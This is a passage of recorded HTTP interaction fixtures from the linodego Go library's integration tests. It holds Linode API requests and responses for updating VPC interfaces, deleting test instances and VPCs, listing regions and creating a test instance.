stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"primary":true,"ipv4":{"vpc":"192.168.0.10","nat_1_1":"any"},"ip_ranges":[]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874252/configs/65094714/interfaces/2047760 method: PUT response: body: '{"id": 2047760, "purpose": "vpc", "primary": true, "active": false, "ipam_address": null, "label": null, "vpc_id": 78828, "subnet_id": 76447, "ipv4": {"vpc": "192.168.0.10", "nat_1_1": "172.234.130.65"}, "ipv6": null, "ip_ranges": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874252 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/78828 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterfaces_AppendDelete.yaml000066400000000000000000001251751474652371000357130ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-2iwaz363s2e9","firewall_id":692854,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874244, "label": "go-test-ins-wo-disk-2iwaz363s2e9", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.34.216"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "81a6689e2a5932cbf36d6571b2b808a00bb59c64", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "806" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write 